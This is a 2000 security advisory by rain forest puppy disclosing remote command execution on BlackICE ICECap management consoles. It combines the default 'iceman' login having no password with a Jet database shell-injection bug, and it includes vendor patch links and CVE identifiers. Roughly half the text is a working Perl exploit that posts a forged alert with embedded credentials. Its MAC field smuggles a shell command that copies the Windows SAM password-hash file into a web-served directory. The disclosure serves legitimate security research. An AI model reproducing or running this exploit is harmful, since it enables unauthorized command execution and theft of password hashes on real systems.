RFP2K04.txt

`  
---/ RFP2K04 /----------------------------/ rfp.labs / wiretrip /---------  
  
Mining BlackICE with RFPickAxe  
Remote command execution on BlackICE ICECap stations   
  
------------------------------------/ rain forest puppy / [email protected]  
  
Table of contents:  
  
-/ 1 / For the Black Hats  
-/ 2 / For the White Hats  
-/ 3 / Forward thinking  
-/ 4 / You know you love perl. Admit it.  
  
  
  
--/ 1 / For the Black Hats /----------------------------------------------  
  
BlackICE IDS uses a management console called ICECap to collect and  
monitor alerts sent by the various installed BlackICE agents. The ICECap  
user console sits on port 8081 (included HTTP server), and alerts are  
pushed to another server listening on port 8082.  
  
The first problem is that the software uses a default login of 'iceman',  
with no password. This means we can log onto the console on port 8081, or  
push it alerts on port 8082. What could be more fun than a few false  
alerts?  
  
The second problem is that the software uses, by default, the Microsoft  
Jet 3.5 engine to store alerts. If you couple that with the shell VBA  
problem (CVE: CAN-2000-0325), that means you can push alerts that contain  
commands to be executed on the ICECap system.  
  
  
  
--/ 2 / For the White Hats /----------------------------------------------  
  
NetworkICE has released ICEcap v2.0.23a, as well as some supporting KB  
articles detailing the problem.  
  
ICEcap 2.0.23a  
http://advice.networkice.com/advice/Support/KB/q000167/  
  
Jet bug  
http://advice.networkice.com/advice/Support/KB/q000164/  
  
Easy injection bug  
http://advice.networkice.com/advice/Support/KB/q000166/  
  
The Common Vulnerabilities and Exposures (CVE) project has assigned the  
name CAN-2000-0350 to this issue. This is a candidate for inclusion in the  
CVE list (http://cve.mitre.org), which standardizes names for security  
problems.  
  
  
  
--/ 3 / Forward thinking /------------------------------------------------  
  
I discussed this point at CanSecWest. BlackICE is not the only (security)  
application that stores data in a Microsoft .mdb file. So what does use  
.mdb's? Well, NT 4.0 WINS, DHCP, CyberCop, NFR-GUI (Windows client), etc.  
  
I leave as an exercise to the reader to look into it. I'd appreciate  
anyone doing research into these matters to drop me a note on their  
final findings.  
  
  
  
--/ 4 / You know you love perl. Admit it. /-----------------------------  
  
#!/usr/bin/perl  
#  
# RFPickaxe.pl - demo exploit for default ICECap login/alerts  
# Disclaimer: I do not provide technical support for my exploits!  
#  
# Sorry, this requires Unix, due to the `date` call  
  
$|=1;  
use Socket;  
  
###############################################################  
  
# IP of ICECap system (assumes port 8082)  
  
$Target="10.10.200.4";  
  
# account info - uses default 'iceman' w/ no password  
  
$account="iceman";  
$httpauth="aWNlbWFuOiUzQjclQzYlRkU=";  
  
#-------- attributes of the alert ----------  
  
$id="100005";  
$issue_name="Exploit";  
$sev="1";  
  
# spoof these  
  
$target="0.0.0.8";  
$target_dns="some.host.com";  
$det_ip="0.0.0.8";  
$det_nbn="SENSOR";  
$int_ip="255.255.255.255";  
$param="Pickaxe";  
  
# either fake the MAC, or use it to run commands via JET vulnerability  
  
#$det_mac="0000000000000";   
$det_mac="|shell(\"cmd /c copy c:\\winnt\\repair\\sam._ ".  
"c:\\progra~1\\networ~1\\icecap\\spatch\\en\\sam.exe \")|";  
  
##############################################################  
  
  
$inet=inet_aton($Target);  
  
$time=`date -u "+%Y-%m-%d %T"`;  
$time=~s/ /%20/g;  
$time=~s/:/%3a/g;  
  
#path is \program files\network ice\icecap\spatch\en  
  
$alert="accountName=$account&issueID=$id&issueName=$issue_name".  
"&severity=$sev&targetNetAddress=$target&targetDNSName=".  
"$target_dns&detectorNetAddress=$det_ip&detectorNetBIOS".  
"Name=$det_nbn&detectorMacAddress=$det_mac&".  
"intruderNetAddress=$int_ip&detectorType=3&startTime=".  
"$time&parameter=$param\r\n";  
  
$len=length($alert);  
  
@DXX=();  
$send=<<EOT  
POST / HTTP/1.0  
User-Agent: netice-alerter/1.0  
Host: $Target:8082  
Authorization: Basic $httpauth  
Content-Type: application/x-www-form-urlencoded  
Content-Length: $len  
  
EOT  
;  
  
$send=~s/\n/\r\n/g;  
$send=$send.$alert;  
  
sendraw("$send");  
  
print @DXX;  
  
exit;  
  
sub sendraw { # raw network functions stay in here  
my ($pstr)=@_;  
$PROTO=getprotobyname('tcp')||0;  
  
# AF_INET=2 SOCK_STREAM=1  
eval {  
alarm(30);  
if(!(socket(S,2,1,$PROTO))){ die("socket");}  
if(connect(S,pack "SnA4x8",2,8082,$inet)){  
# multi-column perl coding...don't do as I do ;)  
select(S); $|=1;  
print $pstr;   
@DXX=<S>;   
select(STDOUT); close(S);   
alarm(0); return;  
} else { die("not responding"); }  
alarm(0);};  
if ($@) { if ($@ =~ /timeout/){ die("Timed out!\n");}}}   
  
  
  
  
----/ acks /--------------------------------------------------------------  
  
NetworkICE + eEye, Attrition, w00w00, ADM, Technotronic, USSR  
  
------------------------------------/ rain forest puppy / [email protected]  
  
If anyone wants to donate a skin to my website, contact me.  
  
---/ RFP2K04 /----------------------------/ rfp.labs / wiretrip /---------  
  
  
`